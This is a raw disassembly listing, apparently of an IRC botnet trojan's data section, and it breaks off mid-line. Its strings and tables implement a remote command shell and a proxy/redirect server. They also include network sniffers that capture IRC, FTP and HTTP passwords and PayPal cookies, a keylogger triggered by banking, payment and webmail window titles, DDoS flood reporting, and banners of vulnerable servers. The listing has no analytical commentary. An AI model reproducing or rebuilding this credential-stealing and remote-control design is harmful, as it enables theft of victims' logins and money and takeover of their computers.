sub_410330:loc_410848o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410330+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410330+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410330+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410330:loc_4106F2o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410330+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_410330+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+330o ; sub_410330+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410330+30Eo align 10h aS db '<%s>',0 ; DATA XREF: sub_410330+2E4o ; sub_410330+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410330+2BAo aAm db 'AM',0 ; DATA XREF: sub_410330+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_410330+285o align 10h a__ db '..',0 ; DATA XREF: sub_410330+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410330+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410330+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410330+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410A9D+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434918 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D2Co aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410CD1o dword_43495C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410C79o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4349C4 db 2Dh ; - ; DATA XREF: ___:00410E52o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434A0C db 2Dh ; - ; DATA XREF: ___:004110A4o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_434A4C db 2Dh ; - ; DATA XREF: ___:00410FDBo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_434A90 db 2Dh ; - ; DATA XREF: ___:00411367o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_434ABC db 2Dh ; - ; DATA XREF: ___:00411340o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434AE8 db 2Dh ; - ; DATA XREF: ___:00411320o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004112F0o align 4 unk_434B24 db 2Dh ; - ; DATA XREF: ___:0041125Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434B50 db 2Dh ; - ; DATA XREF: sub_411383:loc_4113C8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_434B7C dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_4113DD+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434D18 db 2Dh ; - ; DATA XREF: sub_411694+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434D4C db 2Dh ; - ; DATA XREF: sub_411694+59o ; sub_411694+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434D94 db 2Dh ; - ; DATA XREF: sub_4117E5+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434DBC db 2Dh ; - ; DATA XREF: sub_4117E5+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434DFC db 2Dh ; - ; DATA XREF: sub_4117E5+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434E3C db 2Dh ; - ; DATA XREF: sub_4118DE+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4118DE+8Co align 4 dword_434E7C dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_4119B7+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 dd 342C3003h, 5E5E207Ch, 5E587256h, 37C205Eh, 7C312C30h dd 77305020h, 75467233h, 20796C6Ch, 2C31037Ch, 207C2038h dd 336E5730h, 203E2044h, 7325h dword_435070 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:004125CDo dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 4 dword_435208 dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 4 dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 4 dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 4 dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 4 dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 10h dd 4 dup(0) dword_435C70 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:0041261Fo dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_4363DC dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h ; DATA XREF: ___:004125EBo ; sub_41AF2B+EBo dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h dd 2973h, 252EBB2Eh, 2EAB2E73h, 0 dd offset off_436CE8 dd offset off_436CE4 dd offset off_436CE0 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:0043647Co align 10h off_436CE0 dd offset word_505446 ; DATA XREF: ___:00436478o off_436CE4 dd offset dword_435208+41h ; DATA XREF: ___:00436474o off_436CE8 dd offset loc_544F40+2 ; DATA XREF: ___:00436470o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412EAA+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EAA+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EAA+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EAA+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EAA+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EAA+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EAA+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EAA+84o a366 db '366 ',0 ; DATA XREF: sub_412EAA+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412EAA:loc_412F0Co align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EAA+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EAA+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EAA+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EAA+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o aOper db 'oper ',0 ; DATA XREF: sub_412FC1+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412FC1:loc_413001o ; sub_413037+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412FC1+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412FC1+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_413037+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_413037+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_413037:loc_413088o align 4 a220 db '220 ',0 ; DATA XREF: sub_413037+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413037+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_4130BE+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_4130BE+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_4130BE+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_4130BE:loc_4130FEo align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_4130BE+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_4130BE+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413145+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413145+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413145+5o align 4 unk_436F5C db 2Dh ; - ; DATA XREF: sub_4131AA+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436F94 db 2Dh ; - ; DATA XREF: sub_4131AA+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_436FCC db 2Dh ; - ; DATA XREF: sub_4131AA+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437000 db 2Dh ; - ; DATA XREF: sub_4131AA+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437034 db 2Dh ; - ; DATA XREF: sub_4131AA+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_437068 db 2Dh ; - ; DATA XREF: sub_4131AA+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_437098 db 2Dh ; - ; DATA XREF: sub_4131AA+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_4370EC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_41364F+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 